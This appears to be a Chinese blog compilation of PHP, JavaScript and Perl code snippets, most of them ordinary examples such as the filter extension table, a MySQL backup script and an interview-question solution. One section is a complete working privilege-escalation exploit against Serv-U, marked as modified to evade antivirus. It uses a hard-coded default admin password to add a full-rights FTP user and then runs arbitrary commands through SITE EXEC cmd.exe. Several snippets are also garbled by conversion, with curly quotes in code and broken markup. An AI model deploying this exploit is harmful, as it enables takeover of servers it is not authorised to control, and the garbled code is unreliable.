- interface IA {
- public function a();
- public function b();
- }
- class Test implements IA {
- public function a() {
- echo ‘aa’;
- }
- public function b() {
- echo ‘bb’;
- }
- public function c() {
- echo ‘cc’;
- }
- }
- class Test2 extends Test {
- public function a() {
- echo ‘aaaa!!’;
- }
- }
- $o = new Test2();
- $o->a();
- ?>
PHP的输入过滤器
- $result = filter_input(INPUT_GET, ‘email’, FILTER_VALIDATE_EMAIL);
- var_dump($result);
- ?>
简介
This extension serves for validating and filtering data coming usually from some insecure source such as user input.
该扩展用于检验和过滤来自不安全途径的数据,比如说用户的输入。
The following filters currently exist, be sure to read the Filter Constants section for information that describes the behavior of each constant:
下边这些过滤器是当前已经有的,请阅读过滤器常量小节查看各个常量的行为描述。
表 1. Existing filters
<table border="1" class="CALSTABLE">
<colgroup> <col></col> <col></col> <col></col> <col></col> </colgroup> <tr>
<th>
ID
</th>
<th>
Name
</th>
<th>
Options
</th>
<th>
Flags
</th>
<th>
Description
</th>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_VALIDATE_INT</strong></tt>
</td>
<td>
"int"
</td>
<td>
<code class="parameter">min_range</code>, <code class="parameter">max_range</code>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_ALLOW_OCTAL</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ALLOW_HEX</strong></tt>
</td>
<td>
Validates value as integer, optionally from the specified range.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_VALIDATE_BOOLEAN</strong></tt>
</td>
<td>
"boolean"
</td>
<td>
</td>
<td>
</td>
<td>
Returns <tt class="constant"><strong>TRUE</strong></tt> for "1", "true", "on" and "yes", <tt class="constant"><strong>FALSE</strong></tt> for "0", "false", "off", "no", and "", <tt class="constant"><strong>NULL</strong></tt> otherwise.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_VALIDATE_FLOAT</strong></tt>
</td>
<td>
"float"
</td>
<td>
</td>
<td>
</td>
<td>
Validates value as float.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_VALIDATE_REGEXP</strong></tt>
</td>
<td>
"validate_regexp"
</td>
<td>
<code class="parameter">regexp</code>
</td>
<td>
</td>
<td>
Validates value against <code class="parameter">regexp</code>, a <a href="ref.pcre.html">Perl-compatible</a> regular expression.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_VALIDATE_URL</strong></tt>
</td>
<td>
"validate_url"
</td>
<td>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_SCHEME_REQUIRED</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_HOST_REQUIRED</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_PATH_REQUIRED</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_QUERY_REQUIRED</strong></tt>
</td>
<td>
Validates value as URL, optionally with required components.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_VALIDATE_EMAIL</strong></tt>
</td>
<td>
"validate_email"
</td>
<td>
</td>
<td>
</td>
<td>
Validates value as e-mail.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_VALIDATE_IP</strong></tt>
</td>
<td>
"validate_ip"
</td>
<td>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_IPV4</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_IPV6</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_NO_PRIV_RANGE</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_NO_RES_RANGE</strong></tt>
</td>
<td>
Validates value as IP address, optionally only IPv4 or IPv6 or not from private or reserved ranges.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_STRING</strong></tt>
</td>
<td>
"string"
</td>
<td>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_NO_ENCODE_QUOTES</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_STRIP_LOW</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_STRIP_HIGH</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_LOW</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_HIGH</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_AMP</strong></tt>
</td>
<td>
Strip tags, optionally strip or encode special characters.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_STRIPPED</strong></tt>
</td>
<td>
"stripped"
</td>
<td>
</td>
<td>
</td>
<td>
Alias of "string" filter.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_ENCODED</strong></tt>
</td>
<td>
"encoded"
</td>
<td>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_STRIP_LOW</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_STRIP_HIGH</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_LOW</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_HIGH</strong></tt>
</td>
<td>
URL-encode string, optionally strip or encode special characters.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_SPECIAL_CHARS</strong></tt>
</td>
<td>
"special_chars"
</td>
<td>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_STRIP_LOW</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_STRIP_HIGH</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_HIGH</strong></tt>
</td>
<td>
HTML-escape <tt class="literal">'"<>&</tt> and characters with ASCII value less than 32, optionally strip or encode other special characters.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_UNSAFE_RAW</strong></tt>
</td>
<td>
"unsafe_raw"
</td>
<td>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_STRIP_LOW</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_STRIP_HIGH</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_LOW</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_HIGH</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ENCODE_AMP</strong></tt>
</td>
<td>
Do nothing, optionally strip or encode special characters.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_EMAIL</strong></tt>
</td>
<td>
"email"
</td>
<td>
</td>
<td>
</td>
<td>
Remove all characters except letters, digits and <tt class="literal">!#$%&'*+-/=?^_`{|}~@.[]</tt>.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_URL</strong></tt>
</td>
<td>
"url"
</td>
<td>
</td>
<td>
</td>
<td>
Remove all characters except letters, digits and <tt class="literal">$-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=</tt>.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_NUMBER_INT</strong></tt>
</td>
<td>
"number_int"
</td>
<td>
</td>
<td>
</td>
<td>
Remove all characters except digits and <tt class="literal">+-</tt>.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_NUMBER_FLOAT</strong></tt>
</td>
<td>
"number_float"
</td>
<td>
</td>
<td>
<tt class="constant"><strong>FILTER_FLAG_ALLOW_FRACTION</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ALLOW_THOUSAND</strong></tt>, <tt class="constant"><strong>FILTER_FLAG_ALLOW_SCIENTIFIC</strong></tt>
</td>
<td>
Remove all characters except digits, <tt class="literal">+-</tt> and optionally <tt class="literal">.,eE</tt>.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_SANITIZE_MAGIC_QUOTES</strong></tt>
</td>
<td>
"magic_quotes"
</td>
<td>
</td>
<td>
</td>
<td>
Apply <a href="function.addslashes.html"><strong class="function">addslashes()</strong></a>.
</td>
</tr>
<tr>
<td>
<tt class="constant"><strong>FILTER_CALLBACK</strong></tt>
</td>
<td>
"callback"
</td>
<td>
</td>
<td>
<a href="language.pseudo-types.html#language.types.callback"><strong class="type">callback</strong></a> function or method
</td>
<td>
Call user-defined function to filter data.
</td>
</tr>
</table>
可以通过php.ini查看是否支持filter.
filter
| Input Validation and Filtering |
| Directive |
|---|
使用:
参考本文前边的例子,用 [email protected] 和 ?email=invalidemail.address 测试。
玩PHP源文件-把LOGO的gif文件转成.h文件中的数据
- // 将GIF转换为C语言中的H文件
- $filename = "logo.gif";
- $fp = fopen($filename, "rb");
- $buffer = fread($fp, filesize($filename));
- fclose($fp);
- $len = strlen($buffer);
- $fp = fopen("mylogo.h", "wb");
- fwrite($fp, "unsigned char php_logo[] = {");
- for ($i=0; $i<=$len; $i++) {
- if($i % 10 == 0) {
- fwrite($fp, "\n\t\t");
- }
- if($i == $len) {
- $str = str_pad(ord(substr($buffer, $i, 1)), 3, " ", STR_PAD_LEFT);
- } else {
- $str = str_pad(ord(substr($buffer, $i, 1)), 3, " ", STR_PAD_LEFT) . ", ";
- }
- fwrite($fp, $str);
- }
- fwrite($fp, " };\n");
- fclose($fp);
- ?>
mysql 备份的PHP脚本
- // 备份数据库
- function sqldumptable($table, $fp=0) {
- $tabledump = "DROP TABLE IF EXISTS `$table`;\n";
- $tabledump .= "CREATE TABLE `$table` (\n";
- $firstfield=1;
- $fields = mysql_query("SHOW FIELDS FROM `$table`");
- while ($field = mysql_fetch_array($fields)) {
- if (!$firstfield) {
- $tabledump .= ",\n";
- } else {
- $firstfield=0;
- }
- $tabledump .= " `$field[Field]` $field[Type]";
- if (!emptyempty($field["Default"])) {
- if($field['Default']!=‘CURRENT_TIMESTAMP’ ) $field['Default'] = "'{$field['Default']}’";
- $tabledump .= " DEFAULT $field[Default]";
- }
- if ($field['Null'] != "YES") {
- $tabledump .= " NOT NULL";
- }
- if ($field['Extra'] != "") {
- $tabledump .= " $field[Extra]";
- }
- }
- mysql_free_result($fields);
- $keys = mysql_query("SHOW KEYS FROM `$table`");
- while ($key = mysql_fetch_array($keys)) {
- $kname=$key['Key_name'];
- if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
- $kname="UNIQUE|$kname";
- }
- if(!is_array($index[$kname])) {
- $index[$kname] = array();
- }
- $index[$kname][] = $key['Column_name'];
- }
- mysql_free_result($keys);
- while(list($kname, $columns) = @each($index)) {
- $tabledump .= ",\n";
- $colnames=implode($columns,",");
- if ($kname == "PRIMARY") {
- $tabledump .= " PRIMARY KEY ($colnames)";
- } else {
- if (substr($kname,0,6) == "UNIQUE") {
- $kname=substr($kname,7);
- }
- $tabledump .= " KEY $kname ($colnames)";
- }
- }
- $tabledump .= "\n);\n\n";
- if ($fp) {
- fwrite($fp,$tabledump);
- } else {
- echo $tabledump;
- }
- $rows = mysql_query("SELECT * FROM `$table`");
- $numfields = mysql_num_fields($rows);
- while ($row = mysql_fetch_array($rows)) {
- $tabledump = "INSERT INTO `$table` VALUES(";
- $fieldcounter=-1;
- $firstfield=1;
- while (++$fieldcounter<$numfields) {
- if (!$firstfield) {
- $tabledump.=", ";
- } else {
- $firstfield=0;
- }
- if (!isset($row[$fieldcounter])) {
- $tabledump .= "NULL";
- } else {
- $tabledump .= "’".mysql_escape_string($row[$fieldcounter])."’";
- }
- }
- $tabledump .= ");\n";
- if ($fp) {
- fwrite($fp,$tabledump);
- } else {
- echo $tabledump;
- }
- }
- mysql_free_result($rows);
- fwrite($fp,"\n\n\n");
- }
- ?>
Javascript中的prototype的一个简单例子
- >
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <title> new document title>
- <meta name="generator" content="editplus" />
- <meta name="author" content="" />
- <meta name="keywords" content="" />
- <meta name="description" content="" />
- head>
- <body>
- <script type="text/javascript">
- var call = function () {
- //this.a = function (a) { alert(a); };
- this.num = 134;
- }
- call.prototype.a = function (a) { alert(a); };
- var v = new call;
- v.a(v.num);
- //–>
- script>
- body>
- html>
Javascript下的伪OOP用法测试
测试方法:
请一段一段的测试。测试一段时,先把别的行注释。
Perl 的测试代码
- #!E:/Perl/bin/perl.exe
- ##
- ## printenv — demo CGI program which just prints its environment
- ##
- print "Content-type: text/html; charset=iso-8859-1\n\n";
- foreach $var (sort(keys(%ENV))) {
- $val = $ENV{$var};
- $val =~ s|\n|\\n|g;
- $val =~ s|"|\\"|g;
- print "${var}=\"${val}\"\n";
- }
Serv-U All Version本地提升权限Exp10it Ver 1.5
- /**
- 修改免杀版本 BY:CiKer
- **/
- //
- //Codez begin
- //
- //判断magic_quotes_gpc的值
- set_time_limit(0);
- if (get_magic_quotes_gpc()) {
- $_GET = stripslashes_array($_GET);
- }
- //变量初始化
- $addr = ‘127.0.0.1’;
- $ftpport = 21;
- $adminport = 43958;
- $adminuser = ‘LocalAdministrator’;
- $adminpass = ‘#l@$ak#.lk;0@P’;
- $user = ‘110’;
- $password = ‘110’;
- $homedir = ‘C:\\';
- $dir = ‘C:\\WINNT\\System32\\‘;
- //有改变则赋值
- if ($_GET){
- $addr = $_GET['addr'] ;
- $ftpport = $_GET['ftpport'] ;
- $adminport = $_GET['adminport'] ;
- $adminuser = $_GET['adminuser'] ;
- $adminpass = $_GET['adminpass'] ;
- $user = $_GET['user'] ;
- $password = $_GET['password'] ;
- $homedir = $_GET['homedir'] ;
- if ($_GET['dir']){
- $dir = $_GET['dir'] ;
- }
- }
- ?>
-
-= =- - b {font-family : Verdana, sans-serif;font-size : 14px;}
- body,td,p,pre {
- font-family : Verdana, sans-serif;font-size : 12px;
- }
- input {
- font-family: "Verdana";
- font-size: "11px";
- BACKGROUND-COLOR: "#FFFFFF";
- height: "18px";
- border: "1px solid #666666";
- }
-
Serv-U All Version本地提升权限Exp10it Ver 1.5 -
- 添加Serv-U用户部分
-
-
主机IP: "> 主机Ftp端口: "> 主机Ftp管理端口: "> 主机Ftp管理用户: "> 主机Ftp管理密码: "> 添加的用户名: "> 添加的用户名密码: "> 用户主目录(别忘了写"\"): "> -
- //添加用户
- if ($_GET['action']=="up"){
- up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir);
- }
- ?>
-
-
执行命令部分 -
主机Ftp端口: "> 用户名: "> 用户名密码: "> 系统路径(别忘了写"\"): "> 执行的命令: cmd']?>">
- //执行命令
- if ($_GET['action']=="execute"){
- ftpcmd($ftpport,$user,$password,$dir,$_GET['cmd']);
- }
- ?>
-
-
Copycenter (C) 2004 我非我 All centers Reserved. 免杀修改 BY:CiKer 从此Hacking的道路更宽敞了… - //添加用户主函数定义
- function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){
- $fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
- if (!$fp) {
-
echo "$errstr ($errno)
\n"; - } else {
- fputs ($fp, "USER ".$adminuser."");
- sleep (1);
- fputs ($fp, "PASS ".$adminpass."");
- sleep (1);
- fputs ($fp, "SITE MAINTENANCE");
- sleep (1);
- fputs ($fp, "-SETUSERSETUP");
- fputs ($fp, "-IP=".$addr."");
- fputs ($fp, "-PortNo=".$ftpport."");
- fputs ($fp, "-User=".$user."");
- fputs ($fp, "-Password=".$password."");
- fputs ($fp, "-HomeDir=".$homedir."");
- fputs ($fp, "-LoginMesFile=");
- fputs ($fp, "-Disable=0");
- fputs ($fp, "-RelPaths=0");
- fputs ($fp, "-NeedSecure=0");
- fputs ($fp, "-HideHidden=0");
- fputs ($fp, "-AlwaysAllowLogin=0");
- fputs ($fp, "-ChangePassword=1");
- fputs ($fp, "-QuotaEnable=0");
- fputs ($fp, "-MaxUsersLoginPerIP=-1");
- fputs ($fp, "-SpeedLimitUp=-1");
- fputs ($fp, "-SpeedLimitDown=-1");
- fputs ($fp, "-MaxNrUsers=-1");
- fputs ($fp, "-IdleTimeOut=600");
- fputs ($fp, "-SessionTimeOut=-1");
- fputs ($fp, "-Expire=0");
- fputs ($fp, "-RatioUp=1");
- fputs ($fp, "-RatioDown=1");
- fputs ($fp, "-RatiosCredit=0");
- fputs ($fp, "-QuotaCurrent=0");
- fputs ($fp, "-QuotaMaximum=0");
- fputs ($fp, "-Maintenance=System");
- fputs ($fp, "-PasswordType=Regular");
- fputs ($fp, "-Ratios=None");
- fputs ($fp, " Access=".$homedir."|RWAMELCDP");
- fputs ($fp, "QUIT");
- sleep (1);
- while (!feof($fp)) {
- echo fgets ($fp,128);
- }
- }
- }
- //执行命令主函数定义
- function ftpcmd($ftpport,$user,$password,$dir,$cmd){
- $conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);
- if (!$conn_id) {
-
echo "$errstr ($errno)
\n"; - } else {
- fputs ($conn_id, "USER ".$user."");
- sleep (1);
- fputs ($conn_id, "PASS ".$password."");
- sleep (1);
- fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."");
- fputs ($conn_id, "QUIT");
- sleep (1);
- while (!feof($conn_id)) {
- echo fgets ($conn_id,128);
- }
- fclose($conn_id);
- }
- }
- //去除转义字符
- function stripslashes_array(&$array) {
- while (list($key,$var) = each($array)) {
- if ($key != ‘argc‘ && $key != ‘argv‘ && (strtoupper($key) != $key || ‘‘.intval($key) == "$key")) {
- if (is_string($var)) {
- $array[$key] = stripslashes($var);
- }
- if (is_array($var)) {
- $array[$key] = stripslashes_array($var);
- }
- }
- }
- return $array;
- }
- ?>
PHP的改进型urlencode,全部编码包括英文字符
- function pureencode($str) {
- $ret = "";
- for($i=0; $i<strlen($str); $i++) {
- $ret .= "%" . dechex(ord($str[$i]));
- }
- return $ret;
- }
- echo pureencode(‘abcdef’);
- print_r($_GET);
- ?>
国外的PHP程序员面试题目一解
一朋友说是国外的PHP程序员面试题目,解之:
题目三:
Create a class, Test3, with the following behavior:
The class must take a string of the format
name1=value1:name2=value2:name3=value3 consisting of name and value
pairs, separated by the : symbol. I must be able to enter as many
pairs as I like when I call the class, the only limit is that each
pair is formated as name=value and multiple pairs are separated by
the : symbol.
When an object of the class is created it must end up with a variable
for each name=value pair. The name of the variable must be the same
as the name part of the substring and the value of the variable must
be the same as the value part of the substring. For example:
creating an object with new Test3(“firstname=david:lastname=smith”)
must create variables within the class:
$firstname = “david”;
$lastname = “smith”;
and new Test3(“food1=pasta:food2=chocolate”) must create variables
within the class:
$food1 = “pasta”;
$food2 = “chocolate”;
I should be able to use any variable names and values provided they
do not include the symbols : or =
You should then write a function print_all that will print the all
the names of the defined variables in the class along with their
values in the following format:
Variable 1 – Name = (whatever the actual name is), Value = (whatever
the actual value is)
Variable 2 – Name = (whatever the actual name is), Value = (whatever
the actual value is)
Variable 3 – Name = (whatever the actual name is), Value = (whatever
the actual value is)
and so on until all the variables are listed.
The last line of output of the print_all function should be the words
“The original input was “ followed by a string that is an exact
representation of the string parameter supplied when creating the
class object.
For example, if you did new Test3(“firstname=david:lastname=smith”)
then the print_all function should output:
Variable 1 – Name = firstname, Value = david
Variable 2 – Name = lastname, Value = smith
The original imput was (“firstname=david:lastname=smith”)
This must work for any input string that has the correct format and
you may not store the complete input string or directly output it to
produce the last line of the print_all function output as that would
be too easy.
- class Test3 {
- private $keys = array();
- function __construct($args) {
- $this->Test3($args);
- }
- function Test3($args) {
- $arr = explode(":", $args);
- foreach($arr as $v) {
- $varr = explode("=", $v);
- $key = $varr[0];
- $value = $varr[1];
- $this->$key = $value;
- array_push($this->keys, $key);
- }
- }
- function print_all() {
- $ret = array();
- foreach($this->keys as $key) {
- array_push($ret, $key."=".$this->$key);
- }
- return implode(":", $ret);
- }
- }
- $t = new Test3("name=seaprince:name2=renothing");
- print_r($t);
- print $t->print_all();
- ?>